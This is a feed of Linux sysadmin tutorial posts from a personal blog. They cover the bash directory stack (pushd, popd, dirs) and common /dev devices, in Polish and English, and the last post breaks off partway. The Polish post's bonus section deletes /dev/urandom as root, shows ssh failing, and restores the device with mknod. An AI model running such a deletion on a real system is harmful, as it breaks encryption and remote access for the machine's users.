Pushd/Popd2020-05-11T00:00:00+02:002020-05-11T00:00:00+02:00TORGirentag:blog.fabrykowski.pl,2020-05-11:/pushd-en.html<p>In this post, I will show bash commands <tt class="docutils literal">pushd</tt> and <tt class="docutils literal">popd</tt>.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/1bGq9bYbzyI" allowfullscreen seamless frameBorder="0"></iframe></div><p><cite>Bash</cite> shell has one functionality that is not widely known - this functionality is directory stack.</p>
<p>As the name suggests, it's a stack where one can store directories, and on top of that stack is stored current directory.</p>
<p>Before we …</p><p>In this post, I will show bash commands <tt class="docutils literal">pushd</tt> and <tt class="docutils literal">popd</tt>.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/1bGq9bYbzyI" allowfullscreen seamless frameBorder="0"></iframe></div><p><cite>Bash</cite> shell has one functionality that is not widely known - this functionality is directory stack.</p>
<p>As the name suggests, it's a stack where one can store directories, and on top of that stack is stored current directory.</p>
<p>Before we learn how this stack works, let's take a look at the commands to operate it:</p>
<ul class="simple">
<li><tt class="docutils literal">pushd</tt> - is used for adding directories to the stack</li>
<li><tt class="docutils literal">popd</tt> - is used for removing directories from the stack</li>
<li><tt class="docutils literal">dirs</tt> - is used for displaying directories on the stack</li>
</ul>
<p>We're going to learn how to use stack but examples :)</p>
<p>First, let's display the current stack content:</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor ~ $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 ~</span>
<span class="gp">torgiren@redraptor ~ $</span> <span class="nb">cd</span> /tmp
<span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp</span>
</pre></div>
<p>We can see, that <tt class="docutils literal">dirs <span class="pre">-v</span></tt> prints out the content of the stack, which but the default has only one item - current directory</p>
<p>Next, let's add some directory on top of the stack</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">pushd</span> /proc/
<span class="go">/proc /tmp</span>
<span class="gp">torgiren@redraptor /proc $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /proc</span>
<span class="go"> 1 /tmp</span>
</pre></div>
<p>We can see, that <tt class="docutils literal">/proc</tt> directory was added on top and <tt class="docutils literal">/tmp</tt> was moved to the second position.
Also, the current directory was changed to <tt class="docutils literal">/proc</tt>.
As I said before, the current directory is on top of the stack, that's why adding <tt class="docutils literal">/proc</tt> on top we changed the current directory</p>
<p>After the traditional change directory, we can see that:</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /proc $</span> <span class="nb">cd</span> /sys
<span class="gp">torgiren@redraptor /sys $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /sys</span>
<span class="go"> 1 /tmp</span>
</pre></div>
<p>the top element was changed</p>
<p>Next, let's try to pop the top element:</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /sys $</span> <span class="nb">popd</span>
<span class="go">/tmp</span>
<span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp</span>
</pre></div>
<p>what happened here...</p>
<p><tt class="docutils literal">popd</tt> command popped the top element, that's why the second element became the top element and that changed current directory to <tt class="docutils literal">/tmp</tt>.</p>
<p>With this knowledge, we can move to real-life example (one of the two I use most often)</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">pushd</span> .
<span class="go">/tmp /tmp</span>
<span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp</span>
<span class="go"> 1 /tmp</span>
<span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">cd</span> /etc
<span class="gp">torgiren@redraptor /etc $</span> <span class="nb">cd</span> conf.d
<span class="gp">torgiren@redraptor /etc/conf.d $</span> <span class="nb">pwd</span>
<span class="go">/etc/conf.d</span>
<span class="gp">torgiren@redraptor /etc/conf.d $</span> <span class="nb">cd</span> ..
<span class="gp">torgiren@redraptor /etc $</span> <span class="nb">cd</span> init.d/
<span class="gp">torgiren@redraptor /etc/init.d $</span> <span class="nb">popd</span>
<span class="go">/tmp</span>
<span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp</span>
</pre></div>
<p>what's going on here...</p>
<p>When I was in <tt class="docutils literal">/tmp</tt> directory, I pushed on the stack the current directory - <tt class="docutils literal">/tmp</tt>.
As a result, I had <tt class="docutils literal">/tmp</tt> twice on the stack.
Next, I changed the directories to <tt class="docutils literal">/etc</tt>, <tt class="docutils literal">/ecp/conf.d</tt>, <tt class="docutils literal">/etc/init.d</tt>.
As we know, <tt class="docutils literal">cd</tt> change only the top element, what that's why there's <tt class="docutils literal">/tmp</tt> still on position 1.
After finishing work in <tt class="docutils literal">/etc</tt> directories, I used <tt class="docutils literal">popd</tt> to pop the top element, and position 1 became position 0, so I backed to the <tt class="docutils literal">/tmp</tt> directory.
It's the improved version of <tt class="docutils literal">cd -</tt>, because <tt class="docutils literal">cd -</tt> allows to back only to the last directory and using stack allows to make any number of dir changes and then back to remembered position.</p>
<p>We can also use <tt class="docutils literal">pushd <span class="pre">-n</span></tt> to add items on the stack without changing the current directory.
It is added to the second position then.</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">cd</span> /tmp/
<span class="gp">torgiren@redraptor /tmp $</span> mkdir -p pushd/a1
<span class="gp">torgiren@redraptor /tmp $</span> mkdir -p pushd/a2
<span class="gp">torgiren@redraptor /tmp $</span> mkdir -p pushd/a3
<span class="gp">torgiren@redraptor /tmp $</span> <span class="nb">cd</span> pushd/
<span class="gp">torgiren@redraptor /tmp/pushd $</span> touch a1/test.txt
<span class="gp">torgiren@redraptor /tmp/pushd $</span> touch a1/test2.txt
<span class="gp">torgiren@redraptor /tmp/pushd $</span> touch a1/test3.txt
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">pushd</span> -n a1
<span class="go">/tmp/pushd a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">pushd</span> -n a2
<span class="go">/tmp/pushd a2 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">pushd</span> -n a3
<span class="go">/tmp/pushd a3 a2 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
<span class="go"> 1 a3</span>
<span class="go"> 2 a2</span>
<span class="go"> 3 a1</span>
</pre></div>
<p>With stack like this, we can go to the second functionality most often used by me.</p>
<p>Let's say we want to move <tt class="docutils literal">test2.txt</tt> file to <tt class="docutils literal">a2</tt> directory, and <tt class="docutils literal">test3.txt</tt> to <tt class="docutils literal">a3</tt>.
Instead of the standard <tt class="docutils literal">mv a1/test2.txt a2</tt> we can do:</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp/pushd $</span> mv ~3/test2.txt ~2/ -iv
<span class="go">przemianowany 'a1/test2.txt' -> 'a2/test2.txt'</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> mv ~3/test3.txt ~1/ -iv
<span class="go">przemianowany 'a1/test3.txt' -> 'a3/test3.txt'</span>
</pre></div>
<p>At first glance it can not seems like a big improvement to standard <tt class="docutils literal">mv</tt>, but let's take a look at a real-life example:</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">pushd</span> .
<span class="go">/tmp/pushd /tmp/pushd</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
<span class="go"> 1 /tmp/pushd</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">cd</span> /etc/
<span class="gp">torgiren@redraptor /etc $</span> <span class="nb">cd</span> conf.d/
<span class="gp">torgiren@redraptor /etc/conf.d $</span> <span class="nb">cd</span> ..
<span class="gp">torgiren@redraptor /etc $</span> <span class="nb">cd</span> init.d/
<span class="gp">torgiren@redraptor /etc/init.d $</span> cp mdadm ~1/a3/ -iv
<span class="go">'mdadm' -> '/tmp/pushd/a3/mdadm'</span>
<span class="gp">torgiren@redraptor /etc/init.d $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /etc/init.d</span>
<span class="go"> 1 /tmp/pushd</span>
<span class="gp">torgiren@redraptor /etc/init.d $</span> <span class="nb">popd</span>
<span class="go">/tmp/pushd</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
</pre></div>
<p>why I find this example to be useful?
Because at any stage I don't need to know the exact file path of source nor destination.
When talking about the destination, we store current directory on stack, and with source, we can navigate between directories looking for the expected file.
And then, in an easy way we can return to the primary directory.</p>
<p>The next thing we can do with the directory stack is to rotate it.</p>
<p>It lets you change directories without removing them from the stack.
Direction and step that the stack should be rotated are passed as argument in the format <tt class="docutils literal"><span class="pre">+/-num</span></tt> instead of a directory.</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp/pushd/a2 $</span> <span class="nb">pushd</span> -n /tmp/pushd/a3
<span class="go">/tmp/pushd/a2 /tmp/pushd/a3</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a2 $</span> <span class="nb">pushd</span> -n /tmp/pushd/a2
<span class="go">/tmp/pushd/a2 /tmp/pushd/a2 /tmp/pushd/a3</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a2 $</span> <span class="nb">cd</span> /tmp/pushd/a1/
<span class="gp">torgiren@redraptor /tmp/pushd/a1 $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd/a1</span>
<span class="go"> 1 /tmp/pushd/a2</span>
<span class="go"> 2 /tmp/pushd/a3</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a1 $</span> <span class="nb">pwd</span>
<span class="go">/tmp/pushd/a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a1 $</span> <span class="nb">pushd</span> +1
<span class="go">/tmp/pushd/a2 /tmp/pushd/a3 /tmp/pushd/a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a2 $</span> <span class="nb">pwd</span>
<span class="go">/tmp/pushd/a2</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a2 $</span> <span class="nb">pushd</span> +1
<span class="go">/tmp/pushd/a3 /tmp/pushd/a1 /tmp/pushd/a2</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a3 $</span> <span class="nb">pwd</span>
<span class="go">/tmp/pushd/a3</span>
<span class="gp">torgiren@redraptor /tmp/pushd/a3 $</span> <span class="nb">pushd</span> +1
<span class="go">/tmp/pushd/a1 /tmp/pushd/a2 /tmp/pushd/a3</span>
</pre></div>
<p>The last but one thing which we can do with the stack is to remove specified elements from it.
Because <tt class="docutils literal">popd</tt> let us remove not only the top element but also any other.
To specify the item to remove we have to specify it by passing number with direction <tt class="docutils literal">+</tt> or <tt class="docutils literal">-</tt> which means that we want to count from the top or the bottom.
Ex. let's remove from stack elements <tt class="docutils literal">a5</tt>, <tt class="docutils literal">a15</tt>, <tt class="docutils literal">a20</tt>, <tt class="docutils literal">a1</tt>, <tt class="docutils literal">a19</tt>.</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="k">for</span> i in <span class="k">$(</span>seq <span class="m">1</span> <span class="m">20</span><span class="k">)</span><span class="p">;</span> <span class="k">do</span> <span class="nb">pushd</span> -n a<span class="nv">$i</span><span class="p">;</span> <span class="k">done</span>
<span class="go">/tmp/pushd a1</span>
<span class="go">/tmp/pushd a2 a1</span>
<span class="go">/tmp/pushd a3 a2 a1</span>
<span class="go">/tmp/pushd a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a16 a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a17 a16 a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a18 a17 a16 a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a19 a18 a17 a16 a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="go">/tmp/pushd a20 a19 a18 a17 a16 a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a5 a4 a3 a2 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
<span class="go"> 1 a20</span>
<span class="go"> 2 a19</span>
<span class="go"> 3 a18</span>
<span class="go"> 4 a17</span>
<span class="go"> 5 a16</span>
<span class="go"> 6 a15</span>
<span class="go"> 7 a14</span>
<span class="go"> 8 a13</span>
<span class="go"> 9 a12</span>
<span class="go">10 a11</span>
<span class="go">11 a10</span>
<span class="go">12 a9</span>
<span class="go">13 a8</span>
<span class="go">14 a7</span>
<span class="go">15 a6</span>
<span class="go">16 a5</span>
<span class="go">17 a4</span>
<span class="go">18 a3</span>
<span class="go">19 a2</span>
<span class="go">20 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">popd</span> -4 <span class="c1"># a5</span>
<span class="go">/tmp/pushd a20 a19 a18 a17 a16 a15 a14 a13 a12 a11 a10 a9 a8 a7 a6 a4 a3 a2 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">popd</span> +6 <span class="c1"># a15</span>
<span class="go">/tmp/pushd a20 a19 a18 a17 a16 a14 a13 a12 a11 a10 a9 a8 a7 a6 a4 a3 a2 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">popd</span> +1 <span class="c1"># a20</span>
<span class="go">/tmp/pushd a19 a18 a17 a16 a14 a13 a12 a11 a10 a9 a8 a7 a6 a4 a3 a2 a1</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">popd</span> -0 <span class="c1"># a1</span>
<span class="go">/tmp/pushd a19 a18 a17 a16 a14 a13 a12 a11 a10 a9 a8 a7 a6 a4 a3 a2</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">popd</span> +1 <span class="c1"># a19</span>
<span class="go">/tmp/pushd a18 a17 a16 a14 a13 a12 a11 a10 a9 a8 a7 a6 a4 a3 a2</span>
</pre></div>
<p>And the last operation we can find useful I to clear the stack leaving only current directory.
We use <tt class="docutils literal">dirs <span class="pre">-c</span></tt> command to achieve that</p>
<div class="highlight"><pre><span></span><span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
<span class="go"> 1 a18</span>
<span class="go"> 2 a17</span>
<span class="go"> 3 a16</span>
<span class="go"> 4 a14</span>
<span class="go"> 5 a13</span>
<span class="go"> 6 a12</span>
<span class="go"> 7 a11</span>
<span class="go"> 8 a10</span>
<span class="go"> 9 a9</span>
<span class="go">10 a8</span>
<span class="go">11 a7</span>
<span class="go">12 a6</span>
<span class="go">13 a4</span>
<span class="go">14 a3</span>
<span class="go">15 a2</span>
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -c
<span class="gp">torgiren@redraptor /tmp/pushd $</span> <span class="nb">dirs</span> -v
<span class="go"> 0 /tmp/pushd</span>
</pre></div>
Common /dev/ devices2019-12-15T00:00:00+01:002019-12-15T00:00:00+01:00TORGirentag:blog.fabrykowski.pl,2019-12-15:/dev-devices.html<p>W tym poście przedstawię kilka urządzeń systemu GNU/Linux, których znajomość jest przydatna w pracy administratora systemu.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/7H99VwPUb9s" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="wstep">
<h2>Wstęp</h2>
<p>Wszystkie specjalne pliki urządzeń obsługiwane przez jądro są opisane w źródłach jądra w pliku <a class="reference external" href="https://github.com/torvalds/linux/blob/master/Documentation/admin-guide/devices.txt/">https://github.com/torvalds/linux/blob/master/Documentation/admin-guide/devices.txt/</a>.</p>
<p>Ja skupię się na tych, które uważam …</p></div><p>W tym poście przedstawię kilka urządzeń systemu GNU/Linux, których znajomość jest przydatna w pracy administratora systemu.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/7H99VwPUb9s" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="wstep">
<h2>Wstęp</h2>
<p>Wszystkie specjalne pliki urządzeń obsługiwane przez jądro są opisane w źródłach jądra w pliku <a class="reference external" href="https://github.com/torvalds/linux/blob/master/Documentation/admin-guide/devices.txt/">https://github.com/torvalds/linux/blob/master/Documentation/admin-guide/devices.txt/</a>.</p>
<p>Ja skupię się na tych, które uważam za najczęściej używane.</p>
</div>
<div class="section" id="dev-null">
<h2>/dev/null</h2>
<p>Chyba jedno z najczęściej używanych urządzeń urządzeń jest <tt class="docutils literal">/dev/null</tt>. Jest to urządzenie które jest puste, a to znaczy, że przy próbie odczytu z niego, nie otrzymamy żadnych danych:</p>
<pre class="code console literal-block">
<span class="gp">$</span> hexdump -C /dev/null
</pre>
<p>natomiast zapisz powoduje porzucenie tych danych</p>
<pre class="code console literal-block">
<span class="gp">$</span> <span class="nb">echo</span> <span class="s2">"test"</span> >/dev/null
</pre>
<p>Najczęstszym przypadkiem użycia tego urządzenia, jest zapis do niego danych, gdy nie chcemy ich otrzymać na ekran:</p>
<pre class="code console literal-block">
<span class="gp">$</span> ps aux > /dev/null
</pre>
</div>
<div class="section" id="dev-zero">
<h2>/dev/zero</h2>
<p>Urządzenie <tt class="docutils literal">/dev/zero</tt>, jak sama nazwa wskazuje, zwraca zawsze zero. Zwykle się z niego tylko odczytuje.
Zera są najczęściej używane przy tworzeniu plików, które chcemy aby były od razu zaalokowane (w przeciwieństwie do polecenia <tt class="docutils literal">truncate</tt>).</p>
<pre class="code console literal-block">
<span class="gp">$</span> dd <span class="k">if</span><span class="o">=</span>/dev/zero <span class="nv">of</span><span class="o">=</span>/tmp/file.dat <span class="nv">bs</span><span class="o">=</span>1k <span class="nv">count</span><span class="o">=</span>10k
<span class="go">10240+0 records in
10240+0 records out
10485760 bytes (10 MB, 10 MiB) copied, 0.0252958 s, 415 MB/s</span>
</pre>
</div>
<div class="section" id="dev-random-oraz-dev-urandom">
<h2>/dev/random oraz /dev/urandom</h2>
<p>Urządzenia <tt class="docutils literal">/dev/random</tt> oraz <tt class="docutils literal">/dev/urandom</tt> zwracają losowe dane ze specjalnej puli losowych danych w jądrze.
Różnią się one zachowaniem w przypadku wyczerpania puli losowych danych.
W przypadku <tt class="docutils literal">/dev/random</tt>, odczyt zostaje zablokowany do czasu pojawienia się nowych danych, natomiast <tt class="docutils literal">/dev/urandom</tt> generuje liczby pseudolosowe.
Dlatego zwykle używane jest urządzenie <tt class="docutils literal">/dev/urandom</tt>, gdyż odczyt nigdy nie jest blokowany, natomiast <tt class="docutils literal">/dev/random</tt> zalecane jest, gdy generowane dane muszą mieć duży współczynnik losowości i aby nie było możliwe przeprowadzenie ataku na generator liczb pseudolosowych.
Taką sytuacje mamy w przypadku generowania kluczy oraz innych danych związanych z bezpieczeństwem.</p>
<p>Aktualny stan wypełnienia puli danych losowych możemy sprawdzić w pliku <tt class="docutils literal">/proc/sys/kernel/random/entropy_avail</tt></p>
<pre class="code console literal-block">
<span class="gp">$</span> cat /proc/sys/kernel/random/entropy_avail
<span class="go">4012</span>
</pre>
<p>Dane z tych urządzeń możemy odczytywać jak z każdego innego pliku binarnego, np:</p>
<pre class="code console literal-block">
<span class="gp">$</span> dd <span class="k">if</span><span class="o">=</span>/dev/urandom <span class="nv">bs</span><span class="o">=</span><span class="m">1</span> <span class="nv">count</span><span class="o">=</span><span class="m">64</span><span class="p">|</span>hexdump -C
<span class="go">00000000 fb de 91 54 21 f5 5f a4 ef 9c a5 de 22 d3 ba 41 |...T!._....."..A|
00000010 8b e5 3d 0e 26 7a 01 c2 b2 f6 6f 7a 9e 47 80 ce |..=.&z....oz.G..|
00000020 0c d2 49 c2 94 aa 70 95 ba d2 e7 19 8b 1c 01 a4 |..I...p.........|
00000030 6b 2f 0f f2 ab 0b 89 3c 97 55 0c e9 b9 d5 c3 ae |k/.....<.U......|
00000040
64+0 przeczytanych rekordów
64+0 zapisanych rekordów
skopiowane 64 bajty, 9,156e-05 s, 699 kB/s
</span><span class="gp">$</span> dd <span class="k">if</span><span class="o">=</span>/dev/random <span class="nv">bs</span><span class="o">=</span><span class="m">1</span> <span class="nv">count</span><span class="o">=</span><span class="m">64</span><span class="p">|</span>hexdump -C
<span class="go">00000000 a3 0b 7d 8c 91 85 5d 30 18 fa f0 fe ae fb 89 42 |..}...]0.......B|
00000010 c1 81 02 b7 20 62 b8 83 a3 8a 33 51 ee 83 1d 6f |.... b....3Q...o|
00000020 4d eb 6b e4 96 a4 9e c5 d8 bc 71 2a ec e7 27 5d |M.k.......q*..']|
00000030 2a 06 96 11 24 9b 88 13 3e 74 6f 16 f5 1b 8a 74 |*...$...>to....t|
00000040
64+0 przeczytanych rekordów
64+0 zapisanych rekordów
skopiowane 64 bajty, 0,00020758 s, 308 kB/s</span>
</pre>
<p>Często zdarza się, że jakaś aplikacja wymaga dużej ilość danych losowych z urządzenia <tt class="docutils literal">/dev/random</tt>, co powoduje powolne jej działanie.
W takiej sytuacji możemy użyć aplikacji <tt class="docutils literal">rngd</tt>, która zasila pulę entropii danymi ze sprzętowego generatora liczb losowych (o ile takowy jest obecny)</p>
</div>
<div class="section" id="dev-full">
<h2>/dev/full</h2>
<p>Ostatnim urządzeniem omawianym w tym poście, będzie <tt class="docutils literal">/dev/full</tt>.
Jest to chyba najmniej znane urządzane spośród dzisiaj omawianych.</p>
<p>Urządzenie przy próbie odczytu z niego nie zwraca żadnych danych.</p>
<p>Natomiast przy próbie zapisu, zwraca błąd <tt class="docutils literal">ENOSPC</tt>, czyli brak wolnego miejsca.
Jest to zwykle wykorzystywane przy testowaniu aplikacji pod kątem obsługi błędów związanych z zapisem na pełny wolumen.</p>
<pre class="code console literal-block">
<span class="gp">$</span> dd <span class="k">if</span><span class="o">=</span>/dev/random <span class="nv">of</span><span class="o">=</span>/dev/full <span class="nv">bs</span><span class="o">=</span>1k <span class="nv">count</span><span class="o">=</span><span class="m">1</span>
<span class="go">dd: error writing '/dev/full': No space left on device
0+1 records in
0+0 records out
0 bytes copied, 0.00015115 s, 0.0 kB/s</span>
</pre>
</div>
<div class="section" id="bonus">
<h2>Bonus</h2>
<p>W przypadku przypadkowego usunięcia któregoś z urządzeń, można w łatwy sposób odtworzyć je korzystając z dokumentacji oraz polecenia <tt class="docutils literal">mknod</tt>.</p>
<p>Dla przykładu, usuńmy urządzenie <tt class="docutils literal">/dev/urandom</tt></p>
<pre class="code console literal-block">
<span class="gp">[root@localhost bin]#</span> ssh localhost
<span class="go">Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
</span><span class="gp">[root@localhost bin]#</span> rm /dev/urandom
<span class="go">rm: remove character special file ‘/dev/urandom’? y
</span><span class="gp">[root@localhost bin]#</span> ssh localhost
<span class="go">cannot read from /dev/urandom, No such file or directory
</span><span class="gp">[root@localhost bin]#</span> mknod /dev/urandom c <span class="m">1</span> <span class="m">9</span>
<span class="gp">[root@localhost bin]#</span> ssh localhost
<span class="go">Permission denied (publickey,gssapi-keyex,gssapi-with-mic).</span>
</pre>
</div>
Common /dev/ devices2019-12-15T00:00:00+01:002019-12-15T00:00:00+01:00TORGirentag:blog.fabrykowski.pl,2019-12-15:/dev-devices-en.html<p>In this post, I will show you a few GNU/Linux devices, which could be useful for SysOps.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/k0_-xWhl6sk" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="preface">
<h2>Preface</h2>
<p>All of the special device files that are handled by the kernel are described in <a class="reference external" href="https://github.com/torvalds/linux/blob/master/Documentation/admin-guide/devices.txt/">https://github.com/torvalds/linux/blob/master/Documentation/admin-guide/devices.txt/</a>.</p>
<p>I will focus on these …</p></div><p>In this post, I will show you a few GNU/Linux devices, which could be useful for SysOps.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/k0_-xWhl6sk" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="preface">
<h2>Preface</h2>
<p>All of the special device files that are handled by the kernel are described in <a class="reference external" href="https://github.com/torvalds/linux/blob/master/Documentation/admin-guide/devices.txt/">https://github.com/torvalds/linux/blob/master/Documentation/admin-guide/devices.txt/</a>.</p>
<p>I will focus on these I find most often used.</p>
</div>
<div class="section" id="dev-null">
<h2>/dev/null</h2>
<p>Probably, the most often used device is <tt class="docutils literal">/dev/null</tt>.
This is the empty device and that means, that we don't get any data when we try to read from it.</p>
<pre class="code console literal-block">
<span class="gp">$</span> hexdump -C /dev/null
</pre>
<p>however, writing will lead to drop data</p>
<pre class="code console literal-block">
<span class="gp">$</span> <span class="nb">echo</span> <span class="s2">"test"</span> >/dev/null
</pre>
<p>The most often use case of this device is to write data to it when we don't what to get them on screen:</p>
<pre class="code console literal-block">
<span class="gp">$</span> ps aux > /dev/null
</pre>
</div>
<div class="section" id="dev-zero">
<h2>/dev/zero</h2>
<p><tt class="docutils literal">/dev/zero</tt> device, as the name suggests, always return zero.
Usually one only read from it.
Zeros are mostly used while creating files which should be allocated immediately (in contrast to <tt class="docutils literal">truncate</tt> command)</p>
<pre class="code console literal-block">
<span class="gp">$</span> dd <span class="k">if</span><span class="o">=</span>/dev/zero <span class="nv">of</span><span class="o">=</span>/tmp/file.dat <span class="nv">bs</span><span class="o">=</span>1k <span class="nv">count</span><span class="o">=</span>10k
<span class="go">10240+0 records in
10240+0 records out
10485760 bytes (10 MB, 10 MiB) copied, 0.0252958 s, 415 MB/s</span>
</pre>
</div>
<div class="section" id="dev-random-and-dev-urandom">
<h2>/dev/random and /dev/urandom</h2>
<p><tt class="docutils literal">/dev/random</tt> and <tt class="docutils literal">/dev/urandom</tt> devices return random data from kernel entropy pool, but they differ in their behavior in case of an emptying pool.
In the case of <tt class="docutils literal">/dev/random</tt>, read operation is being blocked until new random data will be generated, while <tt class="docutils literal">/dev/urandom</tt> will generate pseudorandom data and return them immediately.
So <tt class="docutils literal">/dev/urandom</tt> device is used more often because it is never blocked, but <tt class="docutils literal">/dev/random</tt> is recommended when data has to be truly random and won't be vulnerable to RNG attacks. Ex. while generating private keys and other security data.</p>
<p>The current available entropy size in poll is stored in <tt class="docutils literal">/proc/sys/kernel/random/entropy_avail</tt> file</p>
<pre class="code console literal-block">
<span class="gp">$</span> cat /proc/sys/kernel/random/entropy_avail
<span class="go">4012</span>
</pre>
<p>Data from these devices can be read like any other binary file:</p>
<pre class="code console literal-block">
<span class="gp">$</span> dd <span class="k">if</span><span class="o">=</span>/dev/urandom <span class="nv">bs</span><span class="o">=</span><span class="m">1</span> <span class="nv">count</span><span class="o">=</span><span class="m">64</span><span class="p">|</span>hexdump -C
<span class="go">00000000 fb de 91 54 21 f5 5f a4 ef 9c a5 de 22 d3 ba 41 |...T!._....."..A|
00000010 8b e5 3d 0e 26 7a 01 c2 b2 f6 6f 7a 9e 47 80 ce |..=.&z....oz.G..|
00000020 0c d2 49 c2 94 aa 70 95 ba d2 e7 19 8b 1c 01 a4 |..I...p.........|
00000030 6b 2f 0f f2 ab 0b 89 3c 97 55 0c e9 b9 d5 c3 ae |k/.....<.U......|
00000040
64+0 przeczytanych rekordów
64+0 zapisanych rekordów
skopiowane 64 bajty, 9,156e-05 s, 699 kB/s
</span><span class="gp">$</span> dd <span class="k">if</span><span class="o">=</span>/dev/random <span class="nv">bs</span><span class="o">=</span><span class="m">1</span> <span class="nv">count</span><span class="o">=</span><span class="m">64</span><span class="p">|</span>hexdump -C
<span class="go">00000000 a3 0b 7d 8c 91 85 5d 30 18 fa f0 fe ae fb 89 42 |..}...]0.......B|
00000010 c1 81 02 b7 20 62 b8 83 a3 8a 33 51 ee 83 1d 6f |.... b....3Q...o|
00000020 4d eb 6b e4 96 a4 9e c5 d8 bc 71 2a ec e7 27 5d |M.k.......q*..']|
00000030 2a 06 96 11 24 9b 88 13 3e 74 6f 16 f5 1b 8a 74 |*...$...>to....t|
00000040
64+0 przeczytanych rekordów
64+0 zapisanych rekordów
skopiowane 64 bajty, 0,00020758 s, 308 kB/s</span>
</pre>
